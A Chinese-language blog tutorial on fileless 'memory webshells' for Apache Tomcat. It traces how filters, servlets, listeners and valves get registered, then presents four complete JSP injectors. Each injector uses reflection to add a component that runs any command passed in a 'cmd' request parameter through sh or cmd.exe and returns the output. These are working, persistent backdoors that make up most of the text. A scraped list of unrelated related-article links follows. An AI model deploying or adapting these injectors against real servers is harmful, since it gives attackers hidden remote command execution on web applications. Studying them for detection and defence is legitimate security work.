内存马


简介

​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

类型

​ 目前分为三种:

  1. Servlet-API型

    通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马

    • filter型
    • servlet型
    • listener型
  2. 字节码增强型

    通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

  3. spring类

    • 拦截器
    • Controller型

基础知识

JAVA web 三大件

一文看懂内存马 - FreeBuf网络安全行业门户

Tomcat基本架构

6. 站在巨人的肩膀学习Java Filter型内存马 - bmjoker - 博客园 (cnblogs.com)

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的。

  • Engine:最顶层容器组件,其下可以包含多个 Host。
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
  • Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
  • Wrapper:一个 Wrapper 代表一个 Servlet。

0x01 Tomcat filter型内存马

​ 所谓filter内存马,就是在web容器中创建了含有恶意代码的filter,在请求传递到servlet前被拦截下来且执行了恶意代码。因此,我们需要了解filter的创建流程。

​ 由于是tomcat进行创建,因此需要阅读tomcat源码。在pom.xml中添加如下依赖,然后reload maven即可调试tomcat源码

  1. <dependency>
  2. <groupId>org.apache.tomcat</groupId>
  3. <artifactId>tomcat-catalina</artifactId>
  4. <version>9.0.52</version>
  5. <scope>provided</scope>
  6. </dependency>

在filter的init函数下断点,看一下调用链,发现是StandardContext处的filterStart方法调用了filter相关方法。

在调用filterStart方法

这里我们可以发现主要是通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。

接下来再看一下调用filterChain.doFilter(servletRequest,servletResponse);的调用栈

可以发现filterchain在这里创建。

  1. ApplicationFilterChain filterChain =
  2. ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

看一下它的具体代码

  1. for (FilterMap filterMap : filterMaps) {//遍历filterMaps
  2. if (!matchDispatcher(filterMap, dispatcher)) {
  3. continue;
  4. }
  5. if (!matchFiltersURL(filterMap, requestPath)) {
  6. continue;
  7. }
  8. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//将filterMaps中的配置实例化为FilterConfig
  9. context.findFilterConfig(filterMap.getFilterName());
  10. if (filterConfig == null) {
  11. // FIXME - log configuration problem
  12. continue;
  13. }
  14. filterChain.addFilter(filterConfig);//在filterChain中添加filterConfig
  15. }

filterMaps是web.xml的filter相关配置

如上所述,我们实现filter型内存马要经过如下步骤:(这里原本的filterDef与filterMaps都是通过web.xml解析而来)

  • 创建恶意filter类
  • 构造相应的filterDef
  • 通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。
  • 创建一个相应的filterMaps,且将恶意filter放在最前。

具体实现方法:

由于filter的init在应用创建时完成,因此要进行filter内存马的注入,需要在filterChain.doFilter前把相应的filter配置注入。

可以利用任意文件上传来执行jsp脚本实现,也可以尝试反序列化进行代码执行。

【安全记录】基于Tomcat的Java内存马初探 - 简书 (jianshu.com)

  1. //只适用于tomcat8,tomcat7的import包不同
  2. <%--
  3. Created by IntelliJ IDEA.
  4. User: win7_wushiying
  5. Date: 2021/10/24
  6. Time: 19:03
  7. To change this template use File | Settings | File Templates.
  8. --%>
  9. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  10. <%@ page import="java.lang.reflect.Field" %>
  11. <%@ page import="org.apache.catalina.core.StandardContext" %>
  12. <%@ page import="java.util.Map" %>
  13. <%@ page import="java.io.IOException" %>
  14. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
  15. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
  16. <%@ page import="java.lang.reflect.Constructor" %>
  17. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
  18. <%@ page import="org.apache.catalina.Context" %>
  19. <%@ page import="java.io.InputStream" %>
  20. <%@ page import="java.util.Scanner" %>
  21. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
  22. <%
  23. final String name = "shell";
  24. // 获取上下文,即standardContext
  25. ServletContext servletContext = request.getSession().getServletContext();
  26. Field appctx = servletContext.getClass().getDeclaredField("context");
  27. appctx.setAccessible(true);
  28. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  29. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  30. stdctx.setAccessible(true);
  31. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  32. //获取上下文中 filterConfigs
  33. Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  34. Configs.setAccessible(true);
  35. Map filterConfigs = (Map) Configs.get(standardContext);
  36. //创建恶意filter
  37. if (filterConfigs.get(name) == null){
  38. Filter filter = new Filter() {
  39. @Override
  40. public void init(FilterConfig filterConfig) throws ServletException {
  41. }
  42. @Override
  43. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  44. HttpServletRequest req = (HttpServletRequest) servletRequest;
  45. if (req.getParameter("cmd") != null) {
  46. boolean isLinux = true;
  47. String osTyp = System.getProperty("os.name");
  48. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  49. isLinux = false;
  50. }
  51. String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
  52. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  53. Scanner s = new Scanner( in ).useDelimiter("\\a");
  54. String output = s.hasNext() ? s.next() : "";
  55. servletResponse.getWriter().write(output);
  56. servletResponse.getWriter().flush();
  57. return;
  58. }
  59. filterChain.doFilter(servletRequest, servletResponse);
  60. }
  61. @Override
  62. public void destroy() {
  63. }
  64. };
  65. //创建对应的FilterDef
  66. FilterDef filterDef = new FilterDef();
  67. filterDef.setFilter(filter);
  68. filterDef.setFilterName(name);
  69. filterDef.setFilterClass(filter.getClass().getName());
  70. /**
  71. * 将filterDef添加到filterDefs中
  72. */
  73. standardContext.addFilterDef(filterDef);
  74. //创建对应的FilterMap,并将其放在最前
  75. FilterMap filterMap = new FilterMap();
  76. filterMap.addURLPattern("/*");
  77. filterMap.setFilterName(name);
  78. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  79. standardContext.addFilterMapBefore(filterMap);
  80. //调用反射方法,去创建filterConfig实例
  81. Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
  82. constructor.setAccessible(true);
  83. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
  84. //将filterConfig存入filterConfigs,等待filterchain.dofilter的调用
  85. filterConfigs.put(name, filterConfig);
  86. out.print("Inject Success !");
  87. }
  88. %>
  89. <html>
  90. <head>
  91. <title>Title</title>
  92. </head>
  93. <body>
  94. </body>
  95. </html>

获取standard上下文,使用以下方法获取servletContext,而后调用反射机制获取StandardContext

  1. request.getSession().getServletContext();

0x02 Tomcat servlet型内存马

servlet型的内存马原理就是注册一个恶意的servlet,与filter相似,只是创建过程不同。

核心还是看StandardContext

在init filter后就调用了loadOnStartup方法实例化servlet

可以发现servlet的相关信息是保存在StandardContext的children字段。

根据以下代码可知,只要在children字段添加相应的servlet,loadOnStartup就能够完成init。

  1. public boolean loadOnStartup(Container children[]) {
  2. // Collect "load on startup" servlets that need to be initialized
  3. TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
  4. for (Container child : children) {
  5. Wrapper wrapper = (Wrapper) child;
  6. int loadOnStartup = wrapper.getLoadOnStartup();
  7. if (loadOnStartup < 0) {
  8. continue;
  9. }
  10. Integer key = Integer.valueOf(loadOnStartup);
  11. ArrayList<Wrapper> list = map.get(key);
  12. if (list == null) {
  13. list = new ArrayList<>();
  14. map.put(key, list);
  15. }
  16. list.add(wrapper);
  17. }
  18. // Load the collected "load on startup" servlets
  19. for (ArrayList<Wrapper> list : map.values()) {
  20. for (Wrapper wrapper : list) {
  21. try {
  22. wrapper.load();
  23. } catch (ServletException e) {
  24. getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
  25. getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
  26. // NOTE: load errors (including a servlet that throws
  27. // UnavailableException from the init() method) are NOT
  28. // fatal to application startup
  29. // unless failCtxIfServletStartFails="true" is specified
  30. if(getComputedFailCtxIfServletStartFails()) {
  31. return false;
  32. }
  33. }
  34. }
  35. }
  36. return true;
  37. }

接下去就要寻找如何添加恶意wrapper至children,找到addchild方法,说明了child需要为wrapper实例

  1. public void addChild(Container child) {
  2. // Global JspServlet
  3. Wrapper oldJspServlet = null;
  4. if (!(child instanceof Wrapper)) {//这里说明了child需要为wrapper实例
  5. throw new IllegalArgumentException
  6. (sm.getString("standardContext.notWrapper"));
  7. }
  8. ...
  9. }

寻找创建wrapper实例的代码,发现createWrapper方法

这样创建恶意servlet流程就清楚了

  • 创建恶意的servlet实例
  • 获取standardContext实例
  • 调用createWrapper方法并设置相应参数
  • 调用addchild函数
  • 为了将servlet与相应url绑定,调用addServletMappingDecoded方法

具体实现

  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: win7_wushiying
  4. Date: 2021/10/25
  5. Time: 14:45
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  9. <%@ page import="java.lang.reflect.Field" %>
  10. <%@ page import="org.apache.catalina.core.StandardContext" %>
  11. <%@ page import="java.io.IOException" %>
  12. <%@ page import="java.io.InputStream" %>
  13. <%@ page import="java.util.Scanner" %>
  14. <%@ page import="java.io.PrintWriter" %>
  15. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
  16. <%
  17. final String name = "servletshell";
  18. // 获取上下文
  19. ServletContext servletContext = request.getSession().getServletContext();
  20. Field appctx = servletContext.getClass().getDeclaredField("context");
  21. appctx.setAccessible(true);
  22. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  23. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  24. stdctx.setAccessible(true);
  25. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  26. Servlet servlet = new Servlet() {
  27. @Override
  28. public void init(ServletConfig servletConfig) throws ServletException {
  29. }
  30. @Override
  31. public ServletConfig getServletConfig() {
  32. return null;
  33. }
  34. @Override
  35. public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
  36. String cmd = servletRequest.getParameter("cmd");
  37. boolean isLinux = true;
  38. String osTyp = System.getProperty("os.name");
  39. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  40. isLinux = false;
  41. }
  42. String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
  43. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  44. Scanner s = new Scanner( in ).useDelimiter("\\a");
  45. String output = s.hasNext() ? s.next() : "";
  46. PrintWriter out = servletResponse.getWriter();
  47. out.println(output);
  48. out.flush();
  49. out.close();
  50. }
  51. @Override
  52. public String getServletInfo() {
  53. return null;
  54. }
  55. @Override
  56. public void destroy() {
  57. }
  58. };
  59. org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
  60. newWrapper.setName(name);
  61. newWrapper.setLoadOnStartup(1);
  62. newWrapper.setServlet(servlet);
  63. newWrapper.setServletClass(servlet.getClass().getName());
  64. standardContext.addChild(newWrapper);
  65. standardContext.addServletMappingDecoded("/shell123",name);
  66. %>
  67. <html>
  68. <head>
  69. <title>Title</title>
  70. </head>
  71. <body>
  72. </body>
  73. </html>

0x03 Tomcat listener型内存马

listener用于监听时间的发生或状态的改变,其初始化与调用顺序在filter之前,

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EventListener

一般作为webshell,需要对网站发送请求使用Java.util.EventListener。

(31条消息) Listener(监听器)的简单介绍_LrvingTc的博客-CSDN博客_listener

从上述连接可知,listener选择很多。我们选择与request相关的ServletRequestListener。

ServletRequest域对象的生命周期:

创建:访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求。

销毁:服务器已经对该次请求做出了响应。

  1. @WebListener
  2. public class MyServletRequestListener implements ServletRequestListener{
  3. @Override
  4. public void requestDestroyed(ServletRequestEvent arg0) {
  5. System.out.println("ServletRequest销毁了");
  6. }
  7. @Override
  8. public void requestInitialized(ServletRequestEvent arg0) {
  9. System.out.println("ServletRequest创建了");
  10. }
  11. }

来看一下StandardContext的listenerStart()方法。主要是获取ApplicationListeners来实现Listener的初始化与装载。

  1. public boolean listenerStart() {
  2. if (log.isDebugEnabled()) {
  3. log.debug("Configuring application event listeners");
  4. }
  5. // Instantiate the required listeners
  6. String listeners[] = findApplicationListeners();
  7. Object results[] = new Object[listeners.length];
  8. boolean ok = true;
  9. for (int i = 0; i < results.length; i++) {
  10. if (getLogger().isDebugEnabled()) {
  11. getLogger().debug(" Configuring event listener class '" +
  12. listeners[i] + "'");
  13. }
  14. try {
  15. String listener = listeners[i];
  16. results[i] = getInstanceManager().newInstance(listener);
  17. } catch (Throwable t) {
  18. t = ExceptionUtils.unwrapInvocationTargetException(t);
  19. ExceptionUtils.handleThrowable(t);
  20. getLogger().error(sm.getString(
  21. "standardContext.applicationListener", listeners[i]), t);
  22. ok = false;
  23. }
  24. }
  25. ...
  26. }

由此,我们可以通过设置StandardContext的ApplicationListeners字段,实现listener内存马的注入。

StandardContext有addApplicationListener方法。

具体流程

  • 创建恶意listener
  • 获取StandardContext
  • StandardContext.addApplicationListener(listener) 添加listener
  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: win7_wushiying
  4. Date: 2021/10/25
  5. Time: 14:45
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  9. <%@ page import="java.lang.reflect.Field" %>
  10. <%@ page import="org.apache.catalina.core.StandardContext" %>
  11. <%@ page import="java.io.IOException" %>
  12. <%@ page import="java.io.InputStream" %>
  13. <%@ page import="java.util.Scanner" %>
  14. <%@ page import="java.io.PrintWriter" %>
  15. <%@ page import="org.apache.catalina.connector.Request" %>
  16. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
  17. <%
  18. final String name = "servletshell";
  19. // 获取上下文
  20. ServletContext servletContext = request.getSession().getServletContext();
  21. Field appctx = servletContext.getClass().getDeclaredField("context");
  22. appctx.setAccessible(true);
  23. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  24. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  25. stdctx.setAccessible(true);
  26. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  27. ServletRequestListener listener = new ServletRequestListener() {
  28. @Override
  29. public void requestDestroyed(ServletRequestEvent sre) {
  30. HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
  31. if (req.getParameter("cmd") != null){
  32. InputStream in = null;
  33. try {
  34. in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
  35. Scanner s = new Scanner(in).useDelimiter("\\A");
  36. String output = s.hasNext()?s.next():"";
  37. Field requestF = req.getClass().getDeclaredField("request");
  38. requestF.setAccessible(true);
  39. Request request = (Request)requestF.get(req);
  40. PrintWriter out= request.getResponse().getWriter();
  41. out.println(output);
  42. out.flush();
  43. out.close();
  44. }
  45. catch (IOException e) {}
  46. catch (NoSuchFieldException e) {}
  47. catch (IllegalAccessException e) {}
  48. }
  49. }
  50. @Override
  51. public void requestInitialized(ServletRequestEvent sre) {
  52. }
  53. };
  54. standardContext.addApplicationEventListener(listener);
  55. %>
  56. <html>
  57. <head>
  58. <title>Title</title>
  59. </head>
  60. <body>
  61. inject listener success!
  62. </body>
  63. </html>

0x04 Valve内存马

Tomcat容器攻防笔记之Valve内存马出世 (qq.com)

tomcat架构分析(valve机制) - 南极山 - 博客园 (cnblogs.com)

在四大容器中,容器之间request的传递是由pipeline串连起来的,而其中的标准valve则存储了invoke方法,实现了具体的逻辑。

如图,是四大容器的标准valve,传递request的流程。

Context中pipeline流程的代码:

  1. context.getPipeline().getFirst().invoke(request, response);//获取context的Pipeline,获取其第一个valve,调用invoke方法。

这样的话,我们可以尝试自己创建恶意valve,重写其invoke方法,添加到四大容器中的pipeline。在发送request时,就能够对其进行操作,执行java代码。

在Pipeline类中找到方法addValve,可以添加valve。

  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: win7_wushiying
  4. Date: 2021/10/24
  5. Time: 19:03
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  9. <%@ page import="java.lang.reflect.Field" %>
  10. <%@ page import="org.apache.catalina.core.StandardContext" %>
  11. <%@ page import="java.io.IOException" %>
  12. <%@ page import="java.io.InputStream" %>
  13. <%@ page import="java.util.Scanner" %>
  14. <%@ page import="org.apache.catalina.Valve" %>
  15. <%@ page import="org.apache.catalina.connector.Request" %>
  16. <%@ page import="org.apache.catalina.connector.Response" %>
  17. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
  18. <%!
  19. public final class myvalve implements Valve{
  20. @Override
  21. public Valve getNext() {
  22. return null;
  23. }
  24. @Override
  25. public void setNext(Valve valve) {
  26. }
  27. @Override
  28. public void backgroundProcess() {
  29. }
  30. @Override
  31. public void invoke(Request request, Response response) throws IOException, ServletException {
  32. HttpServletRequest req = (HttpServletRequest) request;
  33. if (req.getParameter("cmd") != null) {
  34. boolean isLinux = true;
  35. String osTyp = System.getProperty("os.name");
  36. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  37. isLinux = false;
  38. }
  39. String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
  40. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  41. Scanner s = new Scanner( in ).useDelimiter("\\a");
  42. String output = s.hasNext() ? s.next() : "";
  43. response.getWriter().write(output);
  44. response.getWriter().flush();
  45. return;
  46. }
  47. }
  48. @Override
  49. public boolean isAsyncSupported() {
  50. return false;
  51. }
  52. }
  53. %>
  54. <%
  55. final String name = "shell";
  56. // 获取上下文
  57. ServletContext servletContext = request.getSession().getServletContext();
  58. Field appctx = servletContext.getClass().getDeclaredField("context");
  59. appctx.setAccessible(true);
  60. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  61. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  62. stdctx.setAccessible(true);
  63. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  64. myvalve myvalve = new myvalve();
  65. standardContext.getPipeline().addValve(myvalve);
  66. %>
  67. <html>
  68. <head>
  69. <title>Title</title>
  70. </head>
  71. <body>
  72. </body>
  73. </html>

tomcat内存马原理解析及实现的更多相关文章

  1. Tomcat 内存马(二)Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  2. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  3. Tomcat 内存马(一)Listener型

    一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...

  4. C#的内存管理原理解析+标准Dispose模式的实现

    本文内容是本人参考多本经典C#书籍和一些前辈的博文做的总结 尽管.NET运行库负责处理大部分内存管理工作,但C#程序员仍然必须理解内存管理的工作原理,了解如何高效地处理非托管的资源,才能在非常注重性能 ...

  5. 安卓Android的内存管理原理解析

    Android采取了一种有别于Linux的进程管理策略,有别于Linux的在进程活动停止后就结束该进程,Android把这些进程都保留在内存中,直到系统需要更多内存为止.这些保留在内存中的进程通常情况 ...

  6. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  7. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  8. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  9. Tomcat 架构原理解析到架构设计借鉴

    Tomcat 发展这么多年,已经比较成熟稳定.在如今『追新求快』的时代,Tomcat 作为 Java Web 开发必备的工具似乎变成了『熟悉的陌生人』,难道说如今就没有必要深入学习它了么?学习它我们又 ...

随机推荐

  1. Kafka内外网访问

    本文介绍了Kafka内外网访问的设置. kafka的两个配置listeners和advertised.listeners listeners kafka监听的网卡的ip,假设你机器上有两张网卡,内网1 ...

  2. 从环境搭建到打包使用TypeScript

    目录 1.TypeScript是什么 2.TypeScript增加了什么 3.TypeScript环境的搭建 4.TypeScript的基本类型 5.TypeScrip编译选项 6.TypeScrip ...

  3. 未能找到源类型“DbSet<T>”的查询模式的实现。未找到“Select”

    使用EF6.0的模型优先模式进行开发,遇到了报错,如下图 后来发现是没引用using System.Linq; 引用后就不报错了

  4. Gitlab(1)- 简单介绍

    什么是 Gitlab 一个开源分布式版本控制系统 开发语言:Ruby 功能:管理项目源代码.版本控制.代码复用与查找.权限管控 Git 家族成员 Git:是一种版本控制系统,是一个命令,是一种工具 G ...

  5. 《NAT穿越(NAT-T)RFC3947文档》记录

  6. 记录一下Vray5中文汉化版本中导出EXR或vrimg多通道文件的那些坑和解决方法

    最近在给一个培训机构代课,学生英语基础差,就安装了Vray5的中文版,噩梦从此开始. 做过合成的都知道,需要输出多通道到NUKE或者AE中进行合成,通常情况下把多个pass分成不同的文件对硬盘反复读写 ...

  7. Identity简单授权

    详情访问官方文档 以下代码将访问权限限制为任何经过身份验证的用户,这里为控制器级 [Authorize] public class AccountController : Controller { p ...

  8. python库--requests

    requests 方法 返回 参数 方法详情 .get()  r  url  get请求 params  url?后面的内容会以'key=value'的方式接到url后面 proxies 设置代理ip ...

  9. 【第十八篇】- Maven Eclipse之Spring Cloud直播商城 b2b2c电子商务技术总结

    Maven Eclipse Eclipse 提供了一个很好的插件 m2eclipse ,该插件能将 Maven 和 Eclipse 集成在一起. 在最新的 Eclipse 中自带了 Maven,我们打 ...

  10. python中reduce filter map lambda函数

    lambda函数 python 使用 lambda 来创建匿名函数,lambda返回值是一个函数的地址,也就是函数对象. 语法:lambda [arg1 [,arg2,.....argn]]:expr ...